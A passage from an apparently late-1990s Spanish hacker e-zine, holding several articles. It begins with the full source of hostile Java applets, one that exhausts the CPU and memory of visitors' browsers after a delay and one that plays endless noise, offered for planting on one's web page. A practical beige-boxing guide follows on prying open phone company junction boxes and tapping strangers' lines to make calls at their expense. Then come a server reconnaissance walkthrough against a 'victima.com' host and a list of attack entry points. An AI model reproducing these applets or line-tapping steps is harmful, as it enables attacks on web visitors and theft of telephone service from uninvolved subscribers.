This thread will attempt to consume CPU resources Thread wasteResources = null; // An offscreen Image where all of the real action will occur Image offscreenImage; // All of the tools necessary to handle the offscreen Image Graphics offscreenGraphics; // Needed to handle the offscreen Image // To avoid arrays and have open-ended storage of calculation results StringBuffer holdBigNumbers = new StringBuffer(0); // Used for the while loop in the run() method long n = 0; // Used to read in a parameter that makes the thread sleep for a // specified number of seconds int delay; /* Set up a big blue rectangle in the browser and create an offscreen Image */ public void init() { setBackground(Color.blue); offscreenImage = createImage(this.size().width, this.size().height); offscreenGraphics = offscreenImage.getGraphics(); // Determine how many seconds the thread should sleep before kicking in String str = getParameter("wait"); if (str == null) delay = 0; else delay = (1000)*(Integer.parseInt(str)); } /* Create and start the offending thread in the standard way */ public void start() { if (wasteResources == null) { wasteResources = new Thread(this); wasteResources.setPriority(Thread.MAX_PRIORITY); wasteResources.start(); } } /* We won't stop anything */ public void stop() {} /* This method repeatedly appends a very large integer to a StringBuffer. It can sleep for a specified length of time in order to give the browser enough time to go elsewhere before it insidious effects become apparent. */ public void run() { try {Thread.sleep(delay);} catch (InterruptedException e) {} while (n >= 0) { try { holdBigNumbers.append(0x7fffffffffffffffL); } catch (OutOfMemoryError o) {} repaint(); n++; } } public void update(Graphics g) { paint(g); } /* Paints to the offscreen Image */ public void paint(Graphics g) { offscreenGraphics.setColor(Color.white); offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height); offscreenGraphics.setColor(Color.blue); offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50); } } ------------ FIN ------------------------------------------------------------- 4- Molestos. Como es logico estos ataques solo sirven para molestar al usuario, como por ejemplo con un sonido molesto e interminable y al igual que los DoS el usuario tendra que resetear el ordenador en el peor de los casos. Este applet de java es muy divertido, ya que cuando un usuario visite nuestro web, le aparecera un curioso osito ;-) que no se puede eliminar hasta que no se cierra el navegador. ------------ Codigo Fuente --------------------------------------------------- /* NoisyBear.java by Mark D. LaDue */ /* February 15, 1996 */ /* Copyright (c) 1996 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This Java Applet displays a stupid looking bear with a clock superimposed on his belly. It refuses to shut up until you quit the browser. */ import java.applet.AudioClip; import java.awt.*; import java.util.Date; public class NoisyBear extends java.applet.Applet implements Runnable { Font timeFont = new Font("TimesRoman", Font.BOLD, 24); Font wordFont = new Font("TimesRoman", Font.PLAIN, 12); Date rightNow; Thread announce = null; Image bearImage; Image offscreenImage; Graphics offscreenGraphics; AudioClip annoy; boolean threadStopped = false; public void init() { bearImage = getImage(getCodeBase(), "Pictures/sunbear.jpg"); offscreenImage = createImage(this.size().width, this.size().height); offscreenGraphics = offscreenImage.getGraphics(); annoy = getAudioClip(getCodeBase(), "Sounds/drum.au"); } public void start() { if (announce == null) { announce = new Thread(this); announce.start(); } } public void stop() { if (announce != null) { //if (annoy != null) annoy.stop(); //uncommenting stops the noise announce.stop(); announce = null; } } public void run() { if (annoy != null) annoy.loop(); while (true) { rightNow = new Date(); repaint(); try { Thread.sleep(1000); } catch (InterruptedException e) {} } } public void update(Graphics g) { // g.clipRect(125, 150, 350, 50); paint(g); } public void paint(Graphics g) { int imwidth = bearImage.getWidth(this); int imheight = bearImage.getHeight(this); offscreenGraphics.drawImage(bearImage, 0, 0, imwidth, imheight, this); offscreenGraphics.setColor(Color.white); offscreenGraphics.fillRect(125, 150, 350, 100); offscreenGraphics.setColor(Color.blue); offscreenGraphics.drawRect(124, 149, 352, 102); offscreenGraphics.setFont(timeFont); offscreenGraphics.drawString(rightNow.toString(), 135, 200); offscreenGraphics.setFont(wordFont); offscreenGraphics.drawString("It's time for me to annoy you!", 135, 225); g.drawImage(offscreenImage, 0, 0, this); } public boolean mouseDown(Event evt, int x, int y) { if (threadStopped) { announce.resume(); } else { announce.suspend(); } threadStopped = !threadStopped; return true; } } ------------ FIN ------------------------------------------------------------- Supongo que ahora tendreis los dientes largos, pues yo no lo haria, ya que el hack en Java es relativamente dificil, hoy en dia los navegadores estan bastante protegidos contra estos ataques, si negamos que nuestro navegador deniege los applets en web que no conoces no nos pasara nada, el unico inconveniente es que todo el rato nos saldran las dichosas ventanitas avisandos sobre ello. Estas son las restricciones que los navegadores mas famosos imponen a los applets de java (logicamente me refiero a Internet Explorer y Navigator): - Los applets no pueden leer o escribir a archivos en la maquina del navegador (locales). - Los applets no pueden abrir una conexion de red a ninguna maquina que no sea su maquina de origen. - Los applets no pueden leer mas que ciertas propiedades del sistema, no criticas. - Si un applet se carga mediante un URL del tipo file: es cargado tambien por el cargador de applets, excepto si se halla en el CLASSPATH. Como vemos no todo es bonito, ya que en realidad si queremos que nuestro hacking en Java sea efectivo debemos estar a la ultima en asuntos de Java, ya que los ataques mas devastadores (categorias 1 y 2) son a causa de fallos en el runtime de Java y este tipo de informacion suele ser muy restringida. Se conocen varios fallos en el runtime en algunos laboratorios de seguridad informatica pero logicamente estos no suelen revelar sus descubrimientos. Y desde aqui saludar a toda la pe¤a de #hackers, #hack, #rejoin & #seguridad_informatica Grupos como - J.J.F. / HACKERS TEAM -, CYBERHACK, WAKANDA, UNDERHACK, @pOkalypSYS y por supuesto todos los demas !! Y por supuesto: Bisho, Meroka, Folixia, Fragel, Ipgh0st, Metalslug, Dillet, Riddle, Hadden, Guybrush, Tdp, Virux, Cy, Angelipas, Schoddy guy, Xus, Unix-hell, Piotr, Muerte, Koji, Riddle, Case Zero, Nadia, Amanda, Janex, L.A., Enif y todos los que me dejo :) NOBODY (c) 1998. <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> _________________________ | OiOiOdoc #2 | | Un pokillo de phreaking | | por | | DrSlump de OiOiO's Band | | DrSlump@CyberJunkie.com| ------------------------- Bueno, antes de nada, aclarar que TODO lo escrito aqu¡ es puramente con FINES EDUCACIONALES y , ni yo ni ning£n miembro de OiOiO'S Band se hace responsable del mal uso que se le pueda dar, y esas cosas m s que se dicen. Aclarado esto, vamos a por ello ;) Ante nada, decir que lo que aqu¡ se va a comentar es una cosa muy cutre, que debemos agradecer a los coleguitas de la Timof¢nica. Voy a explicar como hacer beige boxing de guays en Espa¤a, en otros paises no creo que var¡e mucho la cosa, pero aqu¡ est  facilillo. Pal que no lo sepa, el beige boxing consiste en llamar por telefono desde la calle o cualquier sitio donde encuentres una cajita de Timof¢nica para poder pinchar tu "m¢vil" ;) Lo primero de todo pasa por pillarte un telefono, preferiblemente peque¤o, de esos que solo tienen el mango, pq va a ser nuestro m¢vil (si quieres uno grande, t£ mismo, pero es m s dificil de esconder y m s palo llevarlo ). Bien, aparte de eso necesitaremos, o bien unas pinzas de cocodrilo de esas, o un "enchufe" que se encuentra dentro de las cajas esas de la Timo (las grandes, las peque¤as no se pq no he abierto ninguna, aun) Bueno, el proceso est  tirao, y pasa por cortar un cachito del cable que va a la roseta de la pared del telefono, y acoplarle ah¡, o bien las pinzas, o bien el mencionado enchufe (en caso de tener cuatro cables, se ha de enchufar en los que quedaran enmedio , que generalmente son marr¢n y blanco). Tras ello ya tenemos m¢vil, y solo falta ir a llamar ;) Las cajas a las que me refiero est n a una altura del pecho, y llevan el logo de la Timof¢nica, y algunas llevan una pegata que pone: "manipular solo con el instrumental adecuado", y tb suelen llevar n£meros para indicar a los chup¢pteros de que zona se encarga la caja XDDDDD El proceso para encontrar cajas es bien sencillo. Busca por: -Barrios residenciales, por dos cosas : todas las casas son plantas bajas, y en las zonas con edificios las cajas suelen ser de esas peque¤itas que se colocan en las fachadas de los edificios, a la altura del 1er piso, y sobre todo, porque piensa que al llamar la puta Timof¢nica no pierde nada, ya que llamamos cogiendo la linea de un pobre incauto, que desconoce lo poco que la Timof¢nica protege su l¡nea de telefono. As¡, si estamos en una zona de ricos es l¢gico pensar que va a pagar alg£n acaudalado ricach¢n, con lo que no me remuerde en absoluto la conciencia sino que por el contrario, me anima a hacerlo ;) De todas formas ten en cuenta que en cualquier zona con casas que sean chalets o plantas bajas habr  cajas de estas ;) -Carreteras, o tramos en los que hay mucho campo. Para ello basta con fijarse en los palos por donde van los cables, y seguir los de telefonos (no es muy dificil), que son f ciles de reconocer pq muchas veces acaban en una especie de gran consolador negro encima del palo o si no, te fijas de las l¡neas que provienen de casas y van hacia la caja, que son los cables m s finos que hay, y a menudo hay muuuchos cables de estos finos, as¡ que solo hay que seguirlos Bueno, ya hemos llegado a la caja, y ahora ...... ­ESTA CERRADA! Tranquilo ;) Has de ir provisto de una llave de contadores de gas, de esas triangulares, o si no tienes (como yo), un buen destornillador (ti¤aor de ahora en adelante ) har  de llave ;) Bien, si tienes la llave de contadores, te puedes saltar lo siguiente, que explica para paletos como abrir una caja con un ti¤aor (la verd  es que no tiene secreto) Si eres de los que van con ti¤aor en mano, sigue leyendo. Al toparte con la caja, puede darse la ocasi¢n de que te encuentres con alguna de las m s antiguas, que son de hierro o algo as¡, y suelen estar por el campo, carreteras y dem s, as¡ como en lugares donde la timo vaya poco, ya que parece que ahora todas las ponen de pl stico 8)''' ;) Bueno, en este caso, pilla el ti¤aor, lo metes por donde queda la cerradura, y espero que sea un buen ti¤aor, pq ahora hay que hacer palanca O:) XDDDDDD Supongo que tras ello ya tendr s la caja, abierta, con sus cables, sus ruedecitas y sus agujeritos, ahora ya puedes pasar a la siguiente parte ;) Si sigues leyendo es pq has tenido la suerte de entontrarte con un cajet¡n de los de pl stico, pues bien, estos son facil¡simos de abrir. Puedes hacerlo como he dicho antes, con el ti¤aor, o si se te ha olvidado en casa, simplemente pilla por la cerradura con las manos y pega un tir¢n ;) ¨F cil, verdad? }:) Vale, ¨y ahora? Que co¤o hago! Bueno, pues ahora pilla el enchufe al que me refer¡a antes, que est  en la parte superior de la caja, aguantado con un hilo de pescar (si no se lo ha llevado alguien), y ver s que hay unas ruedecitas negras con agujeros en las diagonales, y que a algunas les llegan unos cables del lado. Bien, pues los que tienen los cables son los que interesan, puesto que son los que tienen l¡nea. Ahora solo hace falta enchufar el enchufe ese en alguno de esos, poniendolo por encima de la ruedecita, y de forma que pille los agujeros esos de las diagonales, y girarlo un poquillo para que enganche bien. Bueno, si eres de los que has endi¤ado el enchufe al m¢vil, solo te falta llamar, si le has puesto las pinzas, simplemente pincha una a cada patilla y a llamar tocan. Bueno, pues ahora solo queda que este, en un buen sitio para poder llamar sin problemas, o lo que sea. Puedes inventarte 1000 maneras de usarlo, desde pinchar la l¡nea auxiliar de tu casa a casa del vecino, a pillarte un port til e irte por la noche a festear de gratix, y dem s ..... ;) Correcciones, sugerencias o lo que quer is en DrSlump@CyberJunkie.com Miembro oficial de OiOiO'S Band OiOiO's Band son : Arale, DrSlump, MaSHiRiTo, NiKoTXaN, tar0 & Turbo .... <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> - CURSO DE HACK - CHAPTER IV Bueno, como vimos en la tercera entrega del curso, analizar los puertos no es nada dificil. Ahora trataremos de analizar un server y sacar informacion del mismo con simples comandos de Unix/Linux y ademas definiremos los puntos de ataque a un servidor, logicamente nunca usaremos esta informacion para actos delictivos!! Este articulo esta enfocado no solo para los hackers sino tambien para los Administradores ya que es el "Modus Operandi" de muchos hackers. - Analisis Del Server Victima. En este apartado trataremos de sacar informacion de un servidor para saber sus puntos debiles, cuando esta o no este el root, sus usuarios, etc. A estas alturas ya sabemos que puertos tiene el servidor victima abiertos por lo que ahora usaremos los comandos del Unix/Linux para ampliar nuestra informacion del sevidor victima. Por lo que jugaremos con los comandos como finger, showmount, rpcinfo, whois, etc... Como vemos son comandos muy tipicos que ademas nos seran de gran ayuda, que conste que en este articulo solo estamos analizando porque lo que no se explicara en este articulo metodos de ataque con estos comandos, ademas que ya estan anticuados de todas formas. Empezemos el analisis, ya hemos escaneado los puertos del server victima y solo conocemos su url 'www.victima.com', entonces ahora queremos saber mas cosas por lo que ejecutamos: conde$ nslookup www.victima.com Nos saldra informacion del server en cuestion. su IP, su alias, su nombre, etc... informacion que nos sera muy util. Ahora haremos un finger para sacar info de los usuarios, de la siguiente manera: conde$ finger @victima.com [victima.com] Login Name TTY Idle When Where admin Manolo co 1d Mon 06:15 casa.com En este ejemplo vemos que ahora mismo el Administrador esta conectado al server por lo que hay que tener cuidado :) y vemos que esta conectado desde casa, y si queresmos podemos intentar hacer el mismo proceso con 'casa.com' para ver si podemos conectar con el odenador de su casa ;-) pero nosotros seguiremos con el 'victima.com'. Si por ejemplo nos sale un listado grande de usuarios podemos seguir utlizando el finger para obtener mas informacion, como por ejemplo: conde$ finger admin@victima.com Y asi indefinidamente. Tambien puede que el servidor victima no acepta el finger por lo que nos saldra un mensaje de rechazo y tendremos que seguir con otros metodos de analisis. Ahora pasaremos a saber que tiene montado el servidor victima y eso sera de la siguiente manera: conde$ showmount -e victima.com Con lo que nos saldra un listado si todo sale bien, logicamente. Tambiem podemos hacer un whois para ver que informacion nos sale: conde$ whois victima.com Ahora ya sabemos bastante informacion del servidor victima, pero todavia queremos sacar mas informacion por lo que usaremos el rcpinfo, ya que conseguiremos jugosa informacion ;-) conde$ rpcinfo -p victima.com Hecho esto podemos saber si el servidor utiliza NIS, informacion diversa e incluso si utilizan algun software de seguridad en muchos casos. Logicamente para saber como movernos debemos conocer el s.o. unix y el funcionamiento de redes, ya que tendremos que deducir muchas cosas que aqui no explico. A estas alturas ya estamos muy preparados pero todavia no nos basta, por lo que usaremos el telnet para conectar al puerto del sendmail, para averiguar la version. conde$ telnet telnet> open victima.com 25 Tambien podemos darnos un paseo en el servidor victima, usando el FTP o el TFTP. conde$ ftp ftp> open victima.com Con estos 2 ultimos pasos sabemos que version tiene de sendmail y tambien que podemos hacer en el FTP. Ahora ejecutaremos el 'tcpmap' para saber que servicios rpc tiene abierto el servidor victima: conde$ tcpmap victima.com Y como en los ejemplos de antes nos saldra un listado con los servicios que tiene abierto y sabremos a que puertos podemos conectar :) Aqui acaba el analisis del servidor victima. Ahora estamos preparados para analizar un servidor de una forma general. Como ya dije antes aqui solo estamos analizando por lo que no he explicado metodos de entrada al servidor victima. Aqui hemos visto como analizar y obtener ventaja sobre el Administrador del servidor victima, pero tambien para esta labor podemos usar determinadas herramientas como Satan, ISS, etc. En este caso siempre estamos desde un servidor remoto intentando obtener informacion de un servidor victima, con esto solo quiero decir que si ya estuviesemos dentro del servidor victima podemos aplicar otros metodos y herramientas de analisis. - Puntos Claves De Un Server. Los puntos de ataque de un servidor pueden ser muy variados, como por ejemplo desde meter un virus, borrar la informacion, bloquearlo, colgarlo, pillar root, etc. Por lo tenemos que tener cuidado con lo que hacemos, sobre todo porque nosotros no queremos da¤ar ningun servidor, simplemente queremos conocerlo y en todo caso ayudar al admin :) Ahora ya que sabemos que puertos tiene abierto el servidor victima, desarrollaremos un estrategia de ataque, siguiendo el siguiente esquema, en el cual se enumera los posibles puntos de acceso a un servidor: -> Debilidades en el FTP. -> Exportacion de programas no permitidos NFS. -> Exportacion via el portmapper NFS. -> Acceso al sistema de passwords del NIS. -> Acceso mediante REXD. -> Utilizacion de SATAN. -> Debilidades en el Sendmail. -> Acceso mediante TFTP. -> Acceso mediante shell remoto. -> Exportacion no restringida del NFS. -> Acceso no restringido a un servidor X. -> Uso no restringido de un modem. -> Escritura a un directorio principal FTP. -> Debilidades en un protocolo. -> Debilidades en software no perteneciente directamente al s.o. Como podemos apreciar aqui, muchos son los puntos de entrada a un server, logicamente existen mas :), pero esto nos simplificara mucho nuestro trabajo. Solo nos queda tener informacion suficiente sobre cada agujero existente del esquema de arriba. En estos momentos ya conocemos los puntos de entrada a un servidor, por lo que ahora os explicare los diferentes puntos de peligro que existen en un servidor y cuales son los que mas nos interesan. Para esto usaremos la Tabla de los Niveles de Cracking de Sam, la cual seguro os sera muy interesante, no solo para los propios hackers sino tambien para los Administradores (para que luego digan que no les ayudamos :), que es la siguiente: ------------------------------------------------------------------------ ³ Tabla de los Niveles de Cracking de Sam ³ ------------------------------------------------------------------------ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ Usuarios remotos ³ 1ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ> obtiene root Ataques de ³ ÚÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄ¿ ³ Mail bomb <ÍÍÍÍÍÍÍ͹ ³ 2º ³ ³ ³ ³ ÚÄÄÄÄÄÄÄĺÄÄÄÄÄÄ¿ ³ ³ Ataques ³ ³ ³ 3º ³ ³ ³ mediante ³ ³ ³ ÚÄÄÄÄÄĺÄÄÄÄ¿ ³ ³ ³ DoS <ÍÍÍÍÍÍÍÍÍ͹³ ³ ³ 4º ³ ³ ³ ³ ³ ³ ³ ³ ÚÄÄÄĺÄÄ¿ ³ ³ ³ ³ Usuarios remotos ³ ³ ³ ³ ³ 5º ÌÍÍÍÍÍÍÍÍÍÍÍÍÍ> pueden escribir en Usuarios ³ ³ ³ ³ ³ ÚÄÄÊ¿ ³ ³ ³ ³ ³ archivos del sistema locales ³ ³ ³ ³ ³ ³ 6 ³ ³ ³ ³ ³ ³ obtienen sin ³ ³ ³ ³ ³ ÀÄÄÄÙ ³ ³ ³ ³ ³ autorizacion ³ ³ ³ ³ ³ 5 ³ ³ ³ ³ ³ permiso de ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÙ ³ ³ ³ ³ lectura <ÍÍÍÍÍÍÍÍÍÍÍ͹ ³ ³ 4 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄËÙ ³ ³ ³ ³ ³ ³ 3 Ë º ³ ³ ³ ³ ³ ÀËÄÄÄÄÄÄÄĺÄĺÄÄÙ ³ ³ Usuarios ³ ³ º 2 º ÈÍÍÍÍÍÍÍÍÍÍÍÍ> Usuarios remotos locales ³ ÀÄĺÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÙ ³ pueden leer archivos pueden escribir ³ º 1 º ³ del sistema {PELIGRO} en ficheros que ÀÄÄÄĺÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÙ no deberian <ÍÍÍÍÍÍÍÍÍͼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ> Usuarios remotos obtienen sin autorizacion logins del sistema Ahora como hackers o Administradores conocemos los distintos niveles de peligro en un servidor. Logicamente a cada uno le interesa un nivel diferente, por ejemplo a un hacker le interesa los niveles {3,4,5,6}, a un Administrador le interesan todos los niveles para poder evitarlos, a un cracker le interesan los niveles destructivos {1}. En las siguiente lineas explicare, los distintos niveles, para que queden bien claro. * Nivel 1: En este nivel los ataques son poco importantes, ya que no conseguiran acceso a la red pero por el contrario pueden bloquear o resetear el sistema. Basicamente estos ataques se basan en mailing bombing y Denial Of Service, el primero es muy facil de seguir el rastro mientras que el segundo puede ser mas complicado. Hay que decir que se utiliza el Denial Of Service como avanzadilla de otros atques. Este nivel es muy facil de proteger y controlar. * Nivel 2 y 3: En estos niveles el peligro es mayor, ya que los usuarios pueden escribir o leer en ficheros que no deberian pero ademas pueden intentar subir de nivel a partir de este, poniendo el sistema en mayor peligro. Los usuarios buscaran malas configuraciones o agujeros en algun software que le permita pasar a un nivel superior. Para la seguridad del sistema conviene que el Administrador este consciente de los avisos sobre seguridad en la comunidad informatica. * Nivel 4: En este nivel usuarios que no pertemecen al sistema han conseguido acceso, ademas de poder leer ficheros los cuales no deberian poder. Al igual que antes el acceso se debe a una mala configuracion del sistema, CGI o desbordamientos de memoria. * Nivel 5 y 6: Logicamente estos niveles son los mas peligrosos y nunca deberian ocurrir ya que el sistema dejaria de ser del Administrador. Esto se puede evitar facilmente si hemos reparado los niveles anteriores. Ahora llegados a este punto, ya tenemos una vision bastante amplia del analisis de un server remotamente, logicamente. Por lo que ya podemos con toda la informacion recopilada dise¤ar un plan de ataque y conseguir entrar en el server victima. Tambien hay que decir que aqui lo estamos simplificando pero en realidad no es tan facil, ya que existen muchas medidas de seguridad y seguramente nos toparemos con muchas, con lo que el circulo se ira estrechando. Pues aqui acaba este entrega y espero que os haya servido de algo, puede ser que parezca un rollo lo aqui explicado, pero esto es lo necesario para saber moverse y saber que hacemos todo el rato, ademas con la informacion aqui descrita podemos ayudar a los Administradores para que hagan su trabajo correctamente, cosa que muy pocos hacen, pero para eso estamos nosotros aqui ;-) Byes all y hasta la vista !! CONDE VAMPIRO - J.J.F. / HACKERS TEAM - <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ------------------------------------- <><> Como Hackear un Tamatgotchi <><> ------------------------------------- Este es un articulo muy cachondo que me he encontrado en la 2600, en el numero de invierno, el articulo ha sido escrito originalmente por MiLtRoNi, y dice asi: "Cuando le compre a mi hija su primer tamatgotchi, pense que era algo que era bueno. Pero despues de unos dias, cuando me encontre solo en casa con el, fue cuando empezo a mauyar (es un gato) pidiendome "comida virtual". Al principio pase de el, pero luego se puso a llorar pidiendome ayuda. Que clase de padre era, si este era el juguete de mi hija y su creacion?. Primero, mi hija, tubo todos los cuidados de su "mascota virtual", le daba de comer, jugaba con el, le lababa, y luego a la cama. Todo fue bien por un momento hasta que "Liz" la gatita virtual paso al "otro lado", y asi le siguieron "Liz2" y "Liz3" y "Liz4". Mi hija al final se canso de tanta mascota virtual. Estaba horrorizado al ver como "Liz4" moria mientras pedia ayuda. La mascota pronto encontro su sitio en el fondo del cajon y de como gastar sus ultimas pilas, en una especie de "limbo virtual". Despues de unos dias que encontre un poco de tiempo, empece a experimentar con "LizX". Primero tube que llamarla de muchas maneras a medida que se me iban muriendo, algunos solo duraron unos minutos, otros algun que otro dia. Les iba a ense¤ar "trucos sucios", y SI, les castigaria si los hacian mal. Engordaban mu facil, constantemente mas bien, porque, por ejemplo cuando habeis visto a un gato que pesara 5 kilos cuando solo tenia 2 horas de vida :)?. Por eso tambien morian extremadamente facil. Incluso les seguia la paranolla de llevarlos al veterinario, pero lo unico que querian hacer era jugar y jugar. Era un dia frio de noviembre cuando nacio "Borg5". Sabia que este iba a ser diferente, era mi ultima creacion, y la definitiba :). Estaba perdiendo la cabeza con tanto gatito ya, asi que tenia que parar de una vez esta locura. "Borg5" era muy cooperativo, aparte de eso encontre que si reseteas su reloj interno interno a 11:59 pm, hace que gane un a¤o en minutos, asi que en poco tiempo, ya tenia 5 a¤os :), despues de esto descubri que si le quitabas algun que otro minuto podrias alargarle la vida. "Borg5" murio con 35 a¤os y 45 kilos. No iba a pesar mas, ademas que su medidor de salud empezo a bajar a toda velocidad, "Borg5" murio durmiendo. Una vez que mi hija se dio cuenta, rapidamente aprendio a manipular el reloj, es cuando empezoa probar con el "peque¤o frankenstein". Darle de comer, suponia una bonificacion de 20 puntos, la disciplina tambien. De todas formas, alimentarlo solo sirve para que gane peso y este contento. Nunca "tienes" que jugar con el si esta contento, es decir que si su nivel de felicidad esta en cero se puede hacer que viva igual :), incluso tubimos uno que no lo alimentamos ningun dia (con disgusto de mi hija) y vivia igual de feliz :). Todos los ni¤os del vecindario querian aprender como se hacia para manipular el reloj de la mascota para practicar en las suyas (perros, tortugas...), era muy facil decirselo y ademas la sonrisa que ponian cuando lo practicaban, les pude haber cobrado 5 duros a cada uno por decirselo. Ahora, lo que hay, mas que mascotas virtuales, son "mutantes virtuales", me siento como si hubiera liberado a cierto tipo de monstruo, porque que pasaria si estos ni¤os empiezan a probar en animales de verdad? he abierto la puerta a algun tipo de veterinario o Dr. Jeckill?. Que opinaria Mattell Corp. si se enteraran que he alterado su industria de Billones de dolares?, estan los "Men in Black" al otro lado de al puerta?. Realmente pienso que a los ni¤os de hoy hay que cambiarles su forma de pensar, nada de eso de "ense¤ame el triangulo azul" y esas cosas, de todas maneras, algun dia estos ni¤os empezaran a usar ordenadores y a saber que haran..." Este articulo ha sido adaptado un poco al castellano para que se entienda mejor, espero que os haya gustado, jejejejeje, asi que nada mas y hasta otra :) Saludos a los grupos - J.J.F. / Hackers Team -, wakanda, ciberhack y a los canales de #hackers, #rejoin y especialmente a nobody, Fragel, Metalslug, Folixia, Meroka, ICEHOUSE y a todos aquellos de los que me olvido pero estan ahi :) Er Bisho (mama, mama, mama, mama, hay un bisho en mi cama) rolling_weables@hotmail.com <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ################################# # Manifiesto de un # # hacker novato # ################################# # by Silicon Dragon # ################################# # Internet libre # ################################# ------------------------------------------------------------------------------ En la vida de todo hacker siempre existe un periodo, a veces largo, en el cual uno es un autentico novatillo para las cosas de internet. K nadie diga k no ha pasado un tiempo mas o menos largo en el cual el/ella a sido asi. Entrar en el mundo del Underground suele resultar dificil, no conoces a nadie y no sabes donde buscar informacion que te permita ampliar tus conocimientos sobre tecnicas y en fin todas esas cosilla que hacen de internet un mundo interesante y divertido. Los pasos que la mayoria de los actuales hackers (al menos los k yo conozco) suelen ser similares, a pesar de que entre ellos no se pareccan escepto por el hecho de gustarles nuestro mundo, y digo nuestro mundo porque internet es el mundo del hacker, donde nos relacionamos, pasamos buenos ratos, adquirimos conocimientos y hacemos nuevas amistades que nos permiten seguir adelante en el mundillo. Por otro lado vosotros/nosotros/ellos, los hackers, con mas o menos conocimientos, somos un grupo que vivimos aqui, en internet, y estamos acostumbrados a movernos por este mundo, aqui somos los reyes en la sombra, los maestros del bit, los luchadores por la libertad que luchan por sobrevivir ante un concepto mal creado de que somos "criminales sin escrupulos"; FALSO!!!, tenemos nuestra etica. Grandes compa¤ias y grupos de intereses nos atacan e intentan aniquilarnos utilizando para ello arcaicas leyes y concepciones sobre el bien y el mal, pero ellos no se dan cuenta que nosotros, la tribu del ciberespacio, tenemos el poder en nuestras manos; o mas correctamente en nuestras mentes, libres y claras, nuestros dedos tecleando secuencias nunca so¤adas por ellos, los guardianes de la moral publica y el estado de derecho; y nuestros ordenadores, maquinas con las que entramos en este fascinate mundo de internet, mundo de electrones corriendo por chips de silicio y aluminio, mundo de libertad y conocimiento. INTERNET. Todo aquel que llega o intenta llegar a ser un hacker, !A vivir en el maravilloso mundo de internet! Sabe que no tiene que seguir unas normas, pero comparte con el resto de la tribu un codigo por el que se rige y que lo diferencia de los lamers, que sin tener ni idea de nada se las dan de sabios perjudicandonos al resto y dando razones a ciertos sectores para criticarnos, ponernos como ejemplos de mal, lanzando sobre los menos protegidos sus perros de presa en forma de actuaciones judiciales, redadas y como no llevandonos a juicio por socavar la economia de tal o cual compa¤ia a la que 